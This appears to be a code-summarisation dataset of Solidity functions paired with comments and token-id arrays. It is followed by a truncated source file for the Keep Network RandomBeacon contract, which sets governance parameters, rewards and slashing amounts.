function getEthSignedMessageHash(bytes32 _messageHash)
public
pure
returns (bytes32)
{
return ECDSA.toEthSignedMessageHash(_messageHash);
}
}
| Verify signature function | function _verifyStakeCardsSignature(
bytes32 _msgHash,
bytes memory signature
) public view returns (bool) {
bytes32 ethSignedMessageHash = getEthSignedMessageHash(_msgHash);
return getSignerAddress(ethSignedMessageHash, signature) == signer;
}
| 5,410,020 | [
1,
8097,
3372,
445,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
8705,
510,
911,
30492,
5374,
12,
203,
3639,
1731,
1578,
389,
3576,
2310,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
1731,
1578,
13750,
12294,
1079,
2310,
273,
4774,
451,
12294,
1079,
2310,
24899,
3576,
2310,
1769,
203,
203,
3639,
327,
14167,
264,
1887,
12,
546,
12294,
1079,
2310,
16,
3372,
13,
422,
10363,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/43113/0xf16Df8a5286778a91bd8c03aeA6878FA6DeC1adf/sources/yorkymasterchef.sol | Pancake has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all. require(_YorkPerTime <= MAX_EMISSION_RATE, "Too high"); | function updateEmissionRate(uint256 _yorkPerSecond) external onlyOwner {
massUpdatePools();
yorkPerSecond = _yorkPerSecond;
emit UpdateEmissionRate(msg.sender, _yorkPerSecond);
}
| 13,197,022 | [
1,
4069,
23780,
711,
358,
527,
5949,
9609,
16000,
316,
1019,
358,
10182,
326,
801,
19710,
16,
2674,
732,
1221,
518,
4143,
471,
17270,
358,
777,
18,
565,
2583,
24899,
61,
778,
2173,
950,
1648,
4552,
67,
3375,
45,
4475,
67,
24062,
16,
315,
10703,
3551,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
1514,
19710,
4727,
12,
11890,
5034,
389,
93,
778,
2173,
8211,
13,
3903,
1338,
5541,
288,
203,
3639,
8039,
1891,
16639,
5621,
203,
3639,
677,
778,
2173,
8211,
273,
389,
93,
778,
2173,
8211,
31,
203,
3639,
3626,
2315,
1514,
19710,
4727,
12,
3576,
18,
15330,
16,
389,
93,
778,
2173,
8211,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x26368dAD2a0D48178dB82624b6D5a1ac9f3b4C07/sources/contracts/staking/StakingContract.sol | flag to check if staking period is initialized
| bool public stakingPeriodInitialized; | 1,853,843 | [
1,
6420,
358,
866,
309,
384,
6159,
3879,
353,
6454,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1426,
1071,
384,
6159,
5027,
11459,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
//
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
pragma solidity ^0.8.9;
import "./libraries/Authorization.sol";
import "./libraries/DKG.sol";
import "./libraries/Groups.sol";
import "./libraries/Relay.sol";
import "./libraries/Groups.sol";
import "./libraries/Callback.sol";
import "./libraries/Heartbeat.sol";
import "@keep-network/sortition-pools/contracts/SortitionPool.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
/// @title Staking contract interface
/// @notice This is an interface with just a few function signatures of the
/// Staking contract, which is available at
/// https://github.com/threshold-network/solidity-contracts/blob/main/contracts/staking/IStaking.sol
///
/// TODO: Add a dependency to `threshold-network/solidity-contracts` and use
/// staking interface from there.
interface IRandomBeaconStaking {
function slash(uint256 amount, address[] memory operators) external;
function seize(
uint256 amount,
uint256 rewardMultiplier,
address notifier,
address[] memory operators
) external;
function eligibleStake(address operator, address operatorContract)
external
view
returns (uint256);
}
/// @title Keep Random Beacon
/// @notice Keep Random Beacon contract. It lets anyone request a new
/// relay entry and validates the new relay entry provided by the
/// network. This contract is in charge of all Random Beacon maintenance
/// activities such as group lifecycle or slashing.
/// @dev Should be owned by the governance contract controlling Random Beacon
/// parameters.
contract RandomBeacon is Ownable {
using SafeERC20 for IERC20;
using Authorization for Authorization.Data;
using DKG for DKG.Data;
using Groups for Groups.Data;
using Relay for Relay.Data;
using Callback for Callback.Data;
// Constant parameters
/// @notice Seed value used for the genesis group selection.
/// https://www.wolframalpha.com/input/?i=pi+to+78+digits
uint256 public constant genesisSeed =
31415926535897932384626433832795028841971693993751058209749445923078164062862;
// Governable parameters
/// @notice Relay entry callback gas limit. This is the gas limit with which
/// callback function provided in the relay request transaction is
/// executed. The callback is executed with a new relay entry value
/// in the same transaction the relay entry is submitted.
uint256 public callbackGasLimit;
/// @notice The frequency of new group creation. Groups are created with
/// a fixed frequency of relay requests.
uint256 public groupCreationFrequency;
/// @notice Reward in T for submitting DKG result. The reward is paid to
/// a submitter of a valid DKG result when the DKG result challenge
/// period ends.
uint256 public dkgResultSubmissionReward;
/// @notice Reward in T for unlocking the sortition pool if DKG timed out.
/// When DKG result submission timed out, sortition pool is still
/// locked and someone needs to unlock it. Anyone can do it and earn
/// `sortitionPoolUnlockingReward`.
uint256 public sortitionPoolUnlockingReward;
/// @notice Reward in T for notifying the operator is ineligible.
uint256 public ineligibleOperatorNotifierReward;
/// @notice Slashing amount for supporting malicious DKG result. Every
/// DKG result submitted can be challenged for the time of
/// `dkgResultChallengePeriodLength`. If the DKG result submitted
/// is challenged and proven to be malicious, each operator who
/// signed the malicious result is slashed for
/// `maliciousDkgResultSlashingAmount`.
uint256 public maliciousDkgResultSlashingAmount;
/// @notice Slashing amount when an unauthorized signing has been proved,
/// which means the private key has been leaked and all the group
/// members should be punished.
uint256 public unauthorizedSigningSlashingAmount;
/// @notice Duration of the sortition pool rewards ban imposed on operators
/// who missed their turn for relay entry or DKG result submission.
uint256 public sortitionPoolRewardsBanDuration;
/// @notice Percentage of the staking contract malicious behavior
/// notification reward which will be transferred to the notifier
/// reporting about relay entry timeout. Notifiers are rewarded
/// from a notifiers treasury pool. For example, if
/// notification reward is 1000 and the value of the multiplier is
/// 5, the notifier will receive: 5% of 1000 = 50 per each
/// operator affected.
uint256 public relayEntryTimeoutNotificationRewardMultiplier;
/// @notice Percentage of the staking contract malicious behavior
/// notification reward which will be transferred to the notifier
/// reporting about unauthorized signing. Notifiers are rewarded
/// from a notifiers treasury pool. For example, if a
/// notification reward is 1000 and the value of the multiplier is
/// 5, the notifier will receive: 5% of 1000 = 50 per each
/// operator affected.
uint256 public unauthorizedSigningNotificationRewardMultiplier;
/// @notice Percentage of the staking contract malicious behavior
/// notification reward which will be transferred to the notifier
/// reporting about a malicious DKG result. Notifiers are rewarded
/// from a notifiers treasury pool. For example, if
/// notification reward is 1000 and the value of the multiplier is
/// 5, the notifier will receive: 5% of 1000 = 50 per each
/// operator affected.
uint256 public dkgMaliciousResultNotificationRewardMultiplier;
// Other parameters
/// @notice Stores current failed heartbeat nonce for given group.
/// Each claim is made with an unique nonce which protects
/// against claim replay.
mapping(uint64 => uint256) public failedHeartbeatNonce; // groupId -> nonce
// External dependencies
SortitionPool public sortitionPool;
IERC20 public tToken;
IRandomBeaconStaking public staking;
// Token bookkeeping
/// @notice Rewards pool for DKG actions. This pool is funded from relay
/// request fees and external donates. Funds are used to cover
/// rewards for actors approving DKG result or notifying about
/// DKG timeout.
uint256 public dkgRewardsPool;
/// @notice Rewards pool for heartbeat notifiers. This pool is funded from
/// external donates. Funds are used to cover rewards for actors
/// notifying about failed heartbeats.
uint256 public heartbeatNotifierRewardsPool;
// Libraries data storages
Authorization.Data internal authorization;
DKG.Data internal dkg;
Groups.Data internal groups;
Relay.Data internal relay;
Callback.Data internal callback;
// Events
event AuthorizationParametersUpdated(
uint96 minimumAuthorization,
uint64 authorizationDecreaseDelay
);
event RelayEntryParametersUpdated(
uint256 relayRequestFee,
uint256 relayEntrySubmissionEligibilityDelay,
uint256 relayEntryHardTimeout,
uint256 callbackGasLimit
);
event DkgParametersUpdated(
uint256 dkgResultChallengePeriodLength,
uint256 dkgResultSubmissionEligibilityDelay
);
event GroupCreationParametersUpdated(
uint256 groupCreationFrequency,
uint256 groupLifetime
);
event RewardParametersUpdated(
uint256 dkgResultSubmissionReward,
uint256 sortitionPoolUnlockingReward,
uint256 ineligibleOperatorNotifierReward,
uint256 sortitionPoolRewardsBanDuration,
uint256 relayEntryTimeoutNotificationRewardMultiplier,
uint256 unauthorizedSigningNotificationRewardMultiplier,
uint256 dkgMaliciousResultNotificationRewardMultiplier
);
event SlashingParametersUpdated(
uint256 relayEntrySubmissionFailureSlashingAmount,
uint256 maliciousDkgResultSlashingAmount,
uint256 unauthorizedSigningSlashingAmount
);
event DkgStarted(uint256 indexed seed);
event DkgResultSubmitted(
bytes32 indexed resultHash,
uint256 indexed seed,
uint256 submitterMemberIndex,
bytes indexed groupPubKey,
uint8[] misbehavedMembersIndices,
bytes signatures,
uint256[] signingMembersIndices,
uint32[] selectedMembers
);
event DkgTimedOut();
event DkgResultApproved(
bytes32 indexed resultHash,
address indexed approver
);
event DkgResultChallenged(
bytes32 indexed resultHash,
address indexed challenger,
string reason
);
event DkgMaliciousResultSlashed(
bytes32 indexed resultHash,
uint256 slashingAmount,
address maliciousSubmitter
);
event DkgStateLocked();
event DkgSeedTimedOut();
event CandidateGroupRegistered(bytes indexed groupPubKey);
event CandidateGroupRemoved(bytes indexed groupPubKey);
event GroupActivated(uint64 indexed groupId, bytes indexed groupPubKey);
event RelayEntryRequested(
uint256 indexed requestId,
uint64 groupId,
bytes previousEntry
);
event RelayEntrySubmitted(
uint256 indexed requestId,
address submitter,
bytes entry
);
event RelayEntryTimedOut(
uint256 indexed requestId,
uint64 terminatedGroupId
);
event RelayEntryDelaySlashed(
uint256 indexed requestId,
uint256 slashingAmount,
address[] groupMembers
);
event RelayEntryDelaySlashingFailed(
uint256 indexed requestId,
uint256 slashingAmount,
address[] groupMembers
);
event RelayEntryTimeoutSlashed(
uint256 indexed requestId,
uint256 slashingAmount,
address[] groupMembers
);
event UnauthorizedSigningSlashed(
uint64 indexed groupId,
uint256 unauthorizedSigningSlashingAmount,
address[] groupMembers
);
event CallbackFailed(uint256 entry, uint256 entrySubmittedBlock);
event HeartbeatFailed(uint64 groupId, uint256 nonce, address notifier);
/// @dev Assigns initial values to parameters to make the beacon work
/// safely. These parameters are just proposed defaults and they might
/// be updated with `update*` functions after the contract deployment
/// and before transferring the ownership to the governance contract.
constructor(
SortitionPool _sortitionPool,
IERC20 _tToken,
IRandomBeaconStaking _staking,
DKGValidator _dkgValidator
) {
sortitionPool = _sortitionPool;
tToken = _tToken;
staking = _staking;
// TODO: revisit all initial values
callbackGasLimit = 50000;
groupCreationFrequency = 5;
dkgResultSubmissionReward = 1000e18;
sortitionPoolUnlockingReward = 100e18;
ineligibleOperatorNotifierReward = 0;
maliciousDkgResultSlashingAmount = 50000e18;
unauthorizedSigningSlashingAmount = 100e3 * 1e18;
sortitionPoolRewardsBanDuration = 2 weeks;
relayEntryTimeoutNotificationRewardMultiplier = 40;
unauthorizedSigningNotificationRewardMultiplier = 50;
dkgMaliciousResultNotificationRewardMultiplier = 100;
// slither-disable-next-line too-many-digits
authorization.setMinimumAuthorization(100000 * 1e18);
dkg.init(_sortitionPool, _dkgValidator);
dkg.setResultChallengePeriodLength(11520); // ~48h assuming 15s block time
dkg.setResultSubmissionEligibilityDelay(20);
relay.initSeedEntry();
relay.setRelayRequestFee(200e18);
relay.setRelayEntrySubmissionEligibilityDelay(20);
relay.setRelayEntryHardTimeout(5760); // ~24h assuming 15s block time
relay.setRelayEntrySubmissionFailureSlashingAmount(1000e18);
groups.setGroupLifetime(403200); // ~10 weeks assuming 15s block time
}
/// @notice Updates the values of authorization parameters.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract. The caller is responsible for
/// validating parameters.
/// @param _minimumAuthorization New minimum authorization amount
/// @param _authorizationDecreaseDelay New authorization decrease delay in
/// seconds
function updateAuthorizationParameters(
uint96 _minimumAuthorization,
uint64 _authorizationDecreaseDelay
) external onlyOwner {
authorization.setMinimumAuthorization(_minimumAuthorization);
authorization.setAuthorizationDecreaseDelay(
_authorizationDecreaseDelay
);
emit AuthorizationParametersUpdated(
_minimumAuthorization,
_authorizationDecreaseDelay
);
}
/// @notice Updates the values of relay entry parameters.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract. The caller is responsible for
/// validating parameters.
/// @param _relayRequestFee New relay request fee
/// @param _relayEntrySubmissionEligibilityDelay New relay entry submission
/// eligibility delay
/// @param _relayEntryHardTimeout New relay entry hard timeout
/// @param _callbackGasLimit New callback gas limit
function updateRelayEntryParameters(
uint256 _relayRequestFee,
uint256 _relayEntrySubmissionEligibilityDelay,
uint256 _relayEntryHardTimeout,
uint256 _callbackGasLimit
) external onlyOwner {
callbackGasLimit = _callbackGasLimit;
relay.setRelayRequestFee(_relayRequestFee);
relay.setRelayEntrySubmissionEligibilityDelay(
_relayEntrySubmissionEligibilityDelay
);
relay.setRelayEntryHardTimeout(_relayEntryHardTimeout);
emit RelayEntryParametersUpdated(
_relayRequestFee,
_relayEntrySubmissionEligibilityDelay,
_relayEntryHardTimeout,
callbackGasLimit
);
}
/// @notice Updates the values of group creation parameters.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract. The caller is responsible for
/// validating parameters.
/// @param _groupCreationFrequency New group creation frequency
/// @param _groupLifetime New group lifetime in blocks
function updateGroupCreationParameters(
uint256 _groupCreationFrequency,
uint256 _groupLifetime
) external onlyOwner {
groupCreationFrequency = _groupCreationFrequency;
groups.setGroupLifetime(_groupLifetime);
emit GroupCreationParametersUpdated(
groupCreationFrequency,
_groupLifetime
);
}
/// @notice Updates the values of DKG parameters.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract. The caller is responsible for
/// validating parameters.
/// @param _dkgResultChallengePeriodLength New DKG result challenge period
/// length
/// @param _dkgResultSubmissionEligibilityDelay New DKG result submission
/// eligibility delay
function updateDkgParameters(
uint256 _dkgResultChallengePeriodLength,
uint256 _dkgResultSubmissionEligibilityDelay
) external onlyOwner {
dkg.setResultChallengePeriodLength(_dkgResultChallengePeriodLength);
dkg.setResultSubmissionEligibilityDelay(
_dkgResultSubmissionEligibilityDelay
);
emit DkgParametersUpdated(
dkgResultChallengePeriodLength(),
dkgResultSubmissionEligibilityDelay()
);
}
/// @notice Updates the values of reward parameters.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract. The caller is responsible for
/// validating parameters.
/// @param _dkgResultSubmissionReward New DKG result submission reward
/// @param _sortitionPoolUnlockingReward New sortition pool unlocking reward
/// @param _ineligibleOperatorNotifierReward New value of the ineligible
/// operator notifier reward.
/// @param _sortitionPoolRewardsBanDuration New sortition pool rewards
/// ban duration in seconds.
/// @param _relayEntryTimeoutNotificationRewardMultiplier New value of the
/// relay entry timeout notification reward multiplier.
/// @param _unauthorizedSigningNotificationRewardMultiplier New value of the
/// unauthorized signing notification reward multiplier.
/// @param _dkgMaliciousResultNotificationRewardMultiplier New value of the
/// DKG malicious result notification reward multiplier.
function updateRewardParameters(
uint256 _dkgResultSubmissionReward,
uint256 _sortitionPoolUnlockingReward,
uint256 _ineligibleOperatorNotifierReward,
uint256 _sortitionPoolRewardsBanDuration,
uint256 _relayEntryTimeoutNotificationRewardMultiplier,
uint256 _unauthorizedSigningNotificationRewardMultiplier,
uint256 _dkgMaliciousResultNotificationRewardMultiplier
) external onlyOwner {
dkgResultSubmissionReward = _dkgResultSubmissionReward;
sortitionPoolUnlockingReward = _sortitionPoolUnlockingReward;
ineligibleOperatorNotifierReward = _ineligibleOperatorNotifierReward;
sortitionPoolRewardsBanDuration = _sortitionPoolRewardsBanDuration;
relayEntryTimeoutNotificationRewardMultiplier = _relayEntryTimeoutNotificationRewardMultiplier;
unauthorizedSigningNotificationRewardMultiplier = _unauthorizedSigningNotificationRewardMultiplier;
dkgMaliciousResultNotificationRewardMultiplier = _dkgMaliciousResultNotificationRewardMultiplier;
emit RewardParametersUpdated(
dkgResultSubmissionReward,
sortitionPoolUnlockingReward,
ineligibleOperatorNotifierReward,
sortitionPoolRewardsBanDuration,
relayEntryTimeoutNotificationRewardMultiplier,
unauthorizedSigningNotificationRewardMultiplier,
dkgMaliciousResultNotificationRewardMultiplier
);
}
/// @notice Updates the values of slashing parameters.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract. The caller is responsible for
/// validating parameters.
/// @param _relayEntrySubmissionFailureSlashingAmount New relay entry
/// submission failure amount
/// @param _maliciousDkgResultSlashingAmount New malicious DKG result
/// slashing amount
/// @param _unauthorizedSigningSlashingAmount New unauthorized signing
/// slashing amount
function updateSlashingParameters(
uint256 _relayEntrySubmissionFailureSlashingAmount,
uint256 _maliciousDkgResultSlashingAmount,
uint256 _unauthorizedSigningSlashingAmount
) external onlyOwner {
relay.setRelayEntrySubmissionFailureSlashingAmount(
_relayEntrySubmissionFailureSlashingAmount
);
maliciousDkgResultSlashingAmount = _maliciousDkgResultSlashingAmount;
unauthorizedSigningSlashingAmount = _unauthorizedSigningSlashingAmount;
emit SlashingParametersUpdated(
_relayEntrySubmissionFailureSlashingAmount,
maliciousDkgResultSlashingAmount,
unauthorizedSigningSlashingAmount
);
}
/// @notice Withdraws rewards belonging to operators marked as ineligible
/// for sortition pool rewards.
/// @dev Can be called only by the contract owner, which should be the
/// random beacon governance contract.
/// @param recipient Recipient of withdrawn rewards.
function withdrawIneligibleRewards(address recipient) external onlyOwner {
sortitionPool.withdrawIneligible(recipient);
}
/// @notice Registers the caller in the sortition pool.
function registerOperator() external {
